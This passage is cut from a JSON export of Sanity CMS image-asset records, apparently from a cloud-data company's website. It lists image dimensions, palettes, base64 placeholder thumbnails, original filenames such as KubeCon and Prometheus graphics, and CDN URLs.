hUedmX5NRfhz/4AL3MRhPdbL2C0T5HtX6W3sEbPwB3svjqprttYZ9doz35OR+8m6Z4t7PwO3YWvMe0djFidijXOtt3H816Dw3yI13kRoTkwRsqeo1CsUyiu0ze0Trb/LvHMKlpylXhHnYTdwOzcwLK3SHZ/iZb6Al2vU4pP0Oj4kL2eJAc5hf2cjuDxjRIxJ0l3L5CyF0l0LmGkl5FiNULaAuHoDUTjFqJRR7E2UKz7hKKbRKPrlDMLrPU47OYHeTZwjm/7hhCazpQISJeRY1Vk4xpKfAbVnEc1F4kkVlCtY+w2stlAT2+jtT9AjO+QyDzgk+HHrDiPued8xWZli+Xyzv/gB8o4EesaenKGaKpGNLWIai2dgIp5k6C2RlC/j2h9g5x8hJR4hGk/pez8Tm3lb2rLfzE5fYhz9TXCqeYRAuKlk9vR5Ax6cp6IVTup7DuuLC7gle4Q0LZpi+8iJb9DTv2A1vE9hdHfqC79Q3XpXyrXjyhdeYtw6vR5gv4Ssuwg6lXC+nWk2Bx+cRq3fxJP6ywt0joh4yFS8ilqeg818yN65x654Z9xpo9wpo4YGX/D0NgfCE2ejwm2FJHCFULKBAGlSps2jTc8hcs3ids/i1duEDZ3UdqPl/2EfvY5iXMvGCi/ZOyzd5SvHDJ44YDc8D7Ce+4iTafP424u4WoZw+W9hMf3KW7fVVzeKp7WOXzKPcTEEyKZZydYPLtP10cHDDtvGJ04pHjxFfmRX+gafMF/Y8yH0N0DG54AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4574","foreground":"#fff","population":1.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04146c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4d37","foreground":"#fff","population":8.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1e277a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88df","foreground":"#fff","population":1.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#714c6c","foreground":"#fff","population":5.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4d37","foreground":"#fff","population":8.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"KubeCon Graphics.png","path":"images/sczeoy4w/production/f4526fbbf016b985cd3834055585e58ac374a111-1200x628.png","sha1hash":"f4526fbbf016b985cd3834055585e58ac374a111","size":283357,"uploadId":"CCA7eCPG2DzZ4Dq86JsdCzhLyr06Jgci","url":"https://cdn.sanity.io/images/sczeoy4w/production/f4526fbbf016b985cd3834055585e58ac374a111-1200x628.png"} {"_createdAt":"2022-07-27T14:55:58Z","_id":"image-f4b1d5cfc087c8c7b88728a34689747f7d208156-1200x628-png","_rev":"zCPhY2ptGI5EUw6ths5Anm","_type":"sanity.imageAsset","_updatedAt":"2022-07-27T14:55:58Z","assetId":"f4b1d5cfc087c8c7b88728a34689747f7d208156","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MmG8[+so4msTRk~qS29aW;IUxaoKjboLad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQokW1QW0gUYRQ+2yqmQasP9pKbsUYPmYqzarYktIgYZllWim8L0stqst61TSvEC0RYqbgVBhEKLl1IQgMJMaEHqdbKLuamrkYX15n5/5mdmX9myY2ZWsHowHfg+853Pg4HaJqGUCikQVIUI2HpVsnn9UhL8zMEMUMEs4PSkndG45i9p0JamveoGmHWLhNFSQzvsywLWgsLJBhMIqs/eoQPHkaYfYXI2upzQvsnhfevWRWEXp0gtH/iD/ew5Oe3flkJ7g3vI4T+CZSV3QQx7eLK4kfR92WOYPYRweihuLwwp4JgdJ9g9EBcXvikcZbpIopi2hTo9/s3AgVR3C4JwmGBw/YARpUBni8NcFwJZpgqFQGeP6MBoUqBwxWSIFhFUTSE99X3gdfrhXVNWAeGpnWI56ORIBnWEBc3v7hi6Hs8bay/OW6p731i6R0aN372Lhr8iItDghSL+UA0wzBbwoE+nw+APpEMVy0pcOxgtiYqf4dvgiGIOevWF1yZMB/vGG0vvOBuzz13ywymUv30V17zyKpfkiD0S9Q4x3EA9Mn90J2TDvlmCtRSr3367rtONeT1z0Secr20lvRMuYu7xtx5DYPWfaWdkepsZGpWJ8syKIq88TKMMQA+kh1x99CBiCLKrN+VkqZrysqCoy4PJF/3gKXzma6474Wp+NqkrbBj1GZtGEoy5jp0AJmQXt4H9opmGB4eAUVRgBACAwN3ANhCKs6VkxFfQFGxptS0SHtmhnZp6O1paKmsApuzP6bMeTuhpNFlLKvp3lZnr4VmPYDN0QnVNZc076ZiilLjb+RQO/Op9B17UtOiyjMpSExM0GaO2jaodzj1jY7zUU3Vzq2NtS16NaTtYhfU1bT+N/A316LQ5+hRGIYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b494a","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c4484","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4b494a","foreground":"#fff","population":0.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7aca8","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74c4f4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#577492","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#148dd3","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"infographic-observability-m3-prometheus.png","path":"images/sczeoy4w/production/f4b1d5cfc087c8c7b88728a34689747f7d208156-1200x628.png","sha1hash":"f4b1d5cfc087c8c7b88728a34689747f7d208156","size":20554,"uploadId":"UOtd0j6qnsYG2jk0i1zkekqsCyGYilSS","url":"https://cdn.sanity.io/images/sczeoy4w/production/f4b1d5cfc087c8c7b88728a34689747f7d208156-1200x628.png"} {"_createdAt":"2022-09-30T15:37:08Z","_id":"image-f4b8e093da7335afa9011d37e5999d9109c3c952-1902x1132-png","_rev":"8WeirZ6KB9gJqgJfvidNjx","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:53:38Z","assetId":"f4b8e093da7335afa9011d37e5999d9109c3c952","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MENU6h020e~m-.59R-%2xGM{_9%pM|9IIW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6802120141342756,"height":1132,"width":1902},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAAC6ElEQVQokU2SW08bVxSF5zf2+lrUl0pt1TSVQqQKmhtYUNKWNMYJSpo4gShAAnXaqhgIbRMCdkqxDcjGGN9mPB7fsY09nhnb56tmnCp9+LT22Uda2tp7SZ/PPu9/NP27+GRmnZH5LTG+FOA/XE+CbwgwthTg2uLbP4c3fbueeBpkcvk10tTPe+Lr+YCYWAmzsJ0S/nCOjX0Vf1hlNTzQPw7zvD7WCCULRNJF9h1KDpHU4B2Vy8SUCtL8lsw3yycMLybF+K85PJsFvK+KzGwWuO7X+H5NY+nvMulSm45pYVhdB/N/GDamRccwkbyviuLT+ax415PkHU9SDN1P8+WCzND9DHbvvVspLj1TOVBadLs9+v0+vX7fURvT6nLa0imeNjk9ayN5t4p8NpflA0/K4eOfMpx7JDN0N8P7Myk+vJXisk/l0DbsDQyFEPR6fc50A7lUY/dEZjcho1bqSL6XZVwPcly4KTPslrl6T2HqkcroHYULbpmLHplZX4ETpU2v13Om0w0TrdYgklZZD8dZ3tnneeSYbKmGtLZWxj2d5+qo7PDdZI7b7jzXJ3JcG1UYu6Qw5y2STg12WG22ieeKvDhM4gse8PhliMcv9tgIx51pJf8vZX50qVz5SubKeZlvR3O4J/NMjuS4fF52+l5PgZPjlrOjRL7ETizNRuiI1d2og38vRjCeIV+tI/nXC+KmOyPGxpOMu5LixnSGB3dV7rnzzP6gceeGxm/LFRRZp6l3nOXLxQrZfImsWnRULlTQqnUaLR1pJZhk7Ok/DD8MiItzQaZWQqz9leQgqBGL1DmOtZAzOo2G+TYmhonRMejonQF2bZjoHQNpIRQVI6tb4gvfJueebQrXxjbb+3Gqika72XLy5WTMtDAtC8vqOhimSfPsjEq1SrlSoXZap9lqI/2ZyIiHu4fi9k6Y2UBYLIaiRBWNRr1Jq63T7hjOVW1TO4d2XOxLm6ZFqVTiOJHg6OiITDZLrV7nX5pWMURuWXTQAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e617a","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#245c8e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a7c2cd","foreground":"#000","population":8.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7c2cd","foreground":"#000","population":8.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c6cf6","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#61709e","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c8ce4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f4b8e093da7335afa9011d37e5999d9109c3c952-1902x1132.png","path":"images/sczeoy4w/production/f4b8e093da7335afa9011d37e5999d9109c3c952-1902x1132.png","sha1hash":"f4b8e093da7335afa9011d37e5999d9109c3c952","size":92709,"uploadId":"n6hlBTrX9eDRIRKDbKIyxe6n97d2GCBA","url":"https://cdn.sanity.io/images/sczeoy4w/production/f4b8e093da7335afa9011d37e5999d9109c3c952-1902x1132.png"} {"_createdAt":"2022-06-16T22:53:49Z","_id":"image-f4cb3695422ee9238d79fb223a1544b612d6fc66-115x25-svg","_rev":"qkpX9b3U0TpOGFQp8fNx6c","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:49Z","assetId":"f4cb3695422ee9238d79fb223a1544b612d6fc66","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DF32_Pktfiktaxk]f+j^f-kF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.6,"height":25,"width":115},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAsklEQVQYlU2NyyoFABRF78BEXGW8lT+4dT/AQIpQRtIdKEVKJK/yKgys+5APXb+hU2dgsNvn7Mc5g+Bv8Co4Cy6Cz8G74E3wPvgR/Oy5vHnwMXgevAxeBK/bux104axLP8H34FcHKvga/A5OW6+nlXlorkdvwZfgfh3cDW4FT4JPwdPgYfAguN3+UfuF4/ZL32uu7M4GbtbBleAwOApOguN/WmG1sRZcb669MsvNtde89AeaeJOe8LbMCgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b435f","foreground":"#fff","population":1.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a4086","foreground":"#fff","population":1.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#527aa8","foreground":"#fff","population":1.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0d2e8b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#547cee","foreground":"#fff","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#527aa8","foreground":"#fff","population":1.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0485f0","foreground":"#fff","population":0.52,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"opendoor.svg","path":"images/sczeoy4w/production/f4cb3695422ee9238d79fb223a1544b612d6fc66-115x25.svg","sha1hash":"f4cb3695422ee9238d79fb223a1544b612d6fc66","size":5052,"uploadId":"GfeZT7FIls6ICJ0sKoJHUAF6RwN2VpP0","url":"https://cdn.sanity.io/images/sczeoy4w/production/f4cb3695422ee9238d79fb223a1544b612d6fc66-115x25.svg"} {"_createdAt":"2023-04-04T07:32:03Z","_id":"image-f4df061c355c6ccde035f3aa79e4b828fa21134a-3840x2160-png","_rev":"doctNA9eTfleifdZvjtB2G","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T07:32:03Z","assetId":"f4df061c355c6ccde035f3aa79e4b828fa21134a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABz0lEQVQokX2Qy26cMABF+f/f6Ad0W6mbdFWpiyhpknZmCAMGv/HbBmwMpp2k21Q626P7qIQ+QB+bTg9EE8oHSAEyAHlIJ6GznY4bc7E+CQjqnw8vv3ssovbFTEclTemG+fkiz+2ICWYUIWp7MiE2c5W1L3YqdtqNXUaEu9P5fBo6NHO961Aq7UtLlruH8es9rXsxctXj0AzLFS6IrcJk61bnkjEzIeZ6HU+1rMGExaZ9qUwoDVk+fyef7vqHWnEeehzrPl1A6skqVLJ2cS4qkwYyXVp7bnWHPFfZvCcDmr49qi8/+MvVM5kgSw1cWhSJ2JTdjM82bNJuiM0tdC00iAVps53eZCy2X9d4f5obGJlYexIbuHQ4Ublp90/WLlMRB7ZAvlC5Srvb6bjJVO4XkJ4ucwcXNsaerPWw1n3uaZb6vXbSNmEeGxxfYbzChMVmwnHbzPXWofgKZsSS0BsVO6C5I5mITdr8nqxchiydwfxUT4/nCZCs/VEpl4Vduc5cZ2l37YtyRdhd2F25YsINOx3K7QOdL617qd3zqx9YMr5UmAfM/aijCbcZH6HcjscFoABQGGgYdbRhryC1A7FMLv+XTSja3z6XLqu3IX/f/gNYgGRriKOv1QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#535861","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#21296c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#657492","foreground":"#fff","population":0.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2abce","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a9defa","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657492","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1163a4","foreground":"#fff","population":0.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"qovery_diagram_1.png","path":"images/sczeoy4w/production/f4df061c355c6ccde035f3aa79e4b828fa21134a-3840x2160.png","sha1hash":"f4df061c355c6ccde035f3aa79e4b828fa21134a","size":153501,"uploadId":"YAuGbcliXRjdcd0lz39HiWjovWpSSFLg","url":"https://cdn.sanity.io/images/sczeoy4w/production/f4df061c355c6ccde035f3aa79e4b828fa21134a-3840x2160.png"} {"_createdAt":"2024-08-30T08:24:37Z","_id":"image-f50ac2c2fb4b0d1f036877549b986641b089a937-1783x1520-png","_rev":"ue91KDsQT6iQBDv0biFXv4","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T08:24:37Z","assetId":"f50ac2c2fb4b0d1f036877549b986641b089a937","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJEVqKI]EJ$%E0.ToLngWrM^ATxWZ{NKro,7NdT3xFNIZxR.adxCNh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1730263157894736,"height":1520,"width":1783},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFXElEQVQ4jR3PeUyTdwDG8Z9DREWnKI4hEZd5sOicGNiWxZhscXFuHKJcpQdt6fH2phxCC9iWlgIFSgsUAQ8Op3JUQBG5BORQBOnbtwUdiIbMRTz6HsxFo7jZd8H/v/nkeUCOAQUFFgxoTdiq3FJ0raUe82xoxT+tvoh/UXMJ92vqJFamaF4AkiSBtZtYdb4Z9zvTiG9taMXXFlowL40R9c4txVYaTmNAVYwCsPjuFWjtJTyqL+IbKuow3/oruHf7TcL7cgfue7kD31hzCfc6VYR6ak2YZ/0VfHVjB+7TfIPwudpPeNdfwTeduYz7N7Ti3qPw4gqG2AVAWy8BuoaJVdZuYkNjB77Z2k2sq23BV5vPYetLqrGN+nJsU14ZtiWvDPPNL8d8iquxjRV1+Lrl7toAsfXqTWJ75y3Cp+8O4ZFT6AIAABK0dKEetS34msoGfIPxDOajM2Nb1CWYv8aIBlScJ7a3dLza3dj+966SajxQVYwGaIyYv7EG86uz4gFNnbh/Wx++vmMQ8yivJQHQmYlV2lLcO9eI+WqMaKDGiO7UGNHd6hJ0R54Z39bc8TrQNr301YRjKai2+Z9tuUbsY5NbigbpTOgufRm2XV+ObdaX4Wt1JsITKPMXvsnKf7ZHVfTya02JK1hrdAXnmdA9ulLXl4q8hcBk5WxQmnLqu7Ss6VB59tzOnMKFQL3ZtSPPhO5dbnNLXu4/ZXixV5m/sDer4FkISFXPy6XKh+EZ2ifBmlJiX3YRcUCmfvYtXfLwx99ocFxY1IAiIbztdFz4tfKjx0dSwhiO44myx4fkmuehWUWLwTnFxL5U1XyoLGsuNkP3lwrIsh+ZmVKEEsuZ3MeBxkP5rJ54JvVGdmTMQN3h47eHI2MG5yFK+2JS7HU8LHroYXjc4E0x92q18WRDuiXn0jFVRt9+Km/sAEc+xU/T/HkBCDNm6imMfiX1aKVA9qu+QBGu7sqM1M1BERWLlGNN7+m0HlIE9ZPJol4yFbKShRLLUltODmYrEt13Gjitw2qeyiTWQSLJgE5+6nE74Kc+uEtPuD4uOFowrf5F+twYxnlbHpHkNoQJyOywTFIeY3ZLmRfcWnGVu0WR4Xbk00mXJZp8czbqA2GJeH0/P+bp7+mZjnTptXFZ1pwNSBSPWpM4gzZ+9DlXeqTuvTYilTSEC0hDGIcsjOC6C6Il7kLaSXclJ9ltlSS6RxQx7ml9DDlbnEBO6DluqzLjXVFK1UJa6tBYqmq+CaRpnhzhy5E0Nn+kjZvUMyOgt7hEMTWvU04Y/lXHKUkjTUZWsUTkaZaQNDGkpIGpcBsg/VKJvOKVNuXi0xRpp12UPNogUzyAMvOeHgI0ARLKEDuk7GRnW1LylI0tQSYSebfH2ezuWTG7Gc1kVb3VsIo+qJjF/6Wzzr4Rsq0vkrh901zJ+ChP7rjNljlHmVJnHVPiZNAESBCI59qOUCFYy5IgPSwpMsYQOQYSxUg3S4qMcGXIpEA64RAJB2dEoqE/IOk9hCND7rEkyK1EifMGS+ocSJIhd1kSpJMhtCsoPNtBQOHBn1MhOJQhtMfSBLCcBsGViWJ7P0uC2FlS5yhH/uC64ORsOz9tpp0tu7+MLAMwXQh30SDYxBDZk5liJI4hsock8OEtywtBFOPeihOsSa94rs2PJrAfTBTZIbrQrqMJYAsn2dEmypi+w0txjtCF9iaaADbThXY1TWBnUnhwSDzX5hvLsXlFsyZXUHgw+AhKMqdByOFhAIAcJPBhDyoEe8dzbQFUCP6ZK3cYhOlTQ1y5o5cutGdTePAPFB78GYUHr6FC8Cff/zIKfooaAwrdzPJb8D92Kt9NJgp8bwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363b69","foreground":"#fff","population":3.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d1559","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#975055","foreground":"#fff","population":5.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b58093","foreground":"#fff","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c8cf8","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#975055","foreground":"#fff","population":5.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8973b","foreground":"#000","population":3.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-marketecture-for-serve-dark-theme.png","path":"images/sczeoy4w/production/f50ac2c2fb4b0d1f036877549b986641b089a937-1783x1520.png","sha1hash":"f50ac2c2fb4b0d1f036877549b986641b089a937","size":136637,"uploadId":"hvX1gU4e3mIRNrzu1eHxI4VcvRpHm2ce","url":"https://cdn.sanity.io/images/sczeoy4w/production/f50ac2c2fb4b0d1f036877549b986641b089a937-1783x1520.png"} {"_createdAt":"2022-09-16T12:27:43Z","_id":"image-f51626a8d784a9261dea8f1bd79153a7b962923b-1920x1080-jpg","_rev":"oP937kX6v07bcvrIPQDpF1","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T12:27:43Z","assetId":"f51626a8d784a9261dea8f1bd79153a7b962923b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5S~t|s.-V?bMd~qVYRPR5Rjr?oyMxj[a0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAECAwUI/8QAHRAAAgICAwEAAAAAAAAAAAAAAQIAEQMhBAUSgf/EABYBAQEBAAAAAAAAAAAAAAAAAAACBP/EABkRAAIDAQAAAAAAAAAAAAAAAAACAQQREv/aAAwDAQACEQMRAD8A6iVQmNQpNVHjaxe/sm4GtRIBALKEJkdnyMuPleUcqPI0ISejQtdmjdP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#545454","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b0925","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef2c5c","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3a4ac","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7cb4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b95f6c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef2c5c","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"video-thumbnail-flink-overview.jpeg","path":"images/sczeoy4w/production/f51626a8d784a9261dea8f1bd79153a7b962923b-1920x1080.jpg","sha1hash":"f51626a8d784a9261dea8f1bd79153a7b962923b","size":67740,"uploadId":"ZZkj5RmGrpMgtttA25GuKs2CNDafj2iE","url":"https://cdn.sanity.io/images/sczeoy4w/production/f51626a8d784a9261dea8f1bd79153a7b962923b-1920x1080.jpg"} {"_createdAt":"2023-05-02T11:22:36Z","_id":"image-f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628-jpg","_rev":"t1DqkqeCST00RrkAKCSumW","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T11:22:36Z","assetId":"f51de925a03b4b1b4b6726d141798eda2fe7cd7d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9A+|G_}h}Tc1hwgw_juR*Sg007zlAic]%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgf/xAAhEAABBAIBBQEAAAAAAAAAAAABAAIDBAURMRITFSFBcf/EABcBAAMBAAAAAAAAAAAAAAAAAAMEBQb/xAAdEQACAgEFAAAAAAAAAAAAAAABEQACAwQxYXHw/9oADAMBAAIRAxEAPwDjlTH43w9eeS04WZX9JaOG/qswYHHO9jKMaD8I2drFQJ+AlafTYrVbsSz4QGbJW6VQEF3zKl2GOvZfFDL3WNOg/WtoS7OEKoNorP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324471","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041f7c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5e3d","foreground":"#fff","population":6.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b95bf","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797ec6","foreground":"#fff","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6890","foreground":"#fff","population":0.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5e3d","foreground":"#fff","population":6.79,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Cluster_landing_meta_preview_image.jpg","path":"images/sczeoy4w/production/f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628.jpg","sha1hash":"f51de925a03b4b1b4b6726d141798eda2fe7cd7d","size":133743,"uploadId":"mzMGVWxB8vn6FsJY8o1EWacrY4jsR0DD","url":"https://cdn.sanity.io/images/sczeoy4w/production/f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628.jpg"} {"_createdAt":"2023-06-13T11:25:51Z","_id":"image-f54079283bdd01528368e5c4a6d02120052e91ca-3295x1724-png","_rev":"FJE9FJz5NeK3Yo2P5La1rF","_type":"sanity.imageAsset","_updatedAt":"2023-06-13T11:25:51Z","assetId":"f54079283bdd01528368e5c4a6d02120052e91ca","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM=3.#f+;OeA}DjbfQjtfQdDeTf5fkgg","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAABLklEQVQokbXSS09TYRQF0GN7ta0tQhxIE62JkTiRiTFOcOBvQEWjNEAvoLbW6gVuH0BN8BF/9jKYaL44M5HBma7snbPDevA0eBZsBC+DV0E32Ap2gt1gP3gbDIJhMAqK4DAog3EwCfEL+xt8nYC9fwXXw5+Uz5OEm0nCPAH7CfgpOEjA8W9wI2OzRbdJt8Z2nV6d/DJ5hb0Kbyr0KwyrjKoUGYcZZcakyuRSUrl3g+M1Zo8o7lHeZ7pKcZv+NQZNPrQ4uM5kmeM2n29y1uFrhy/LnDQSMG8zf8L8MeUqswecPqS8y2CR9wuMFhm3Oekw73B2h+8r/Fjh2y1Omwn44gpbS+wssd0iX2Dv/BrsZuxXeZcxrPGxTlHnqMG4wfQqsxrT89oX8pQLmc1/HPZPqSrlFGuD25gAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccc2","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imageP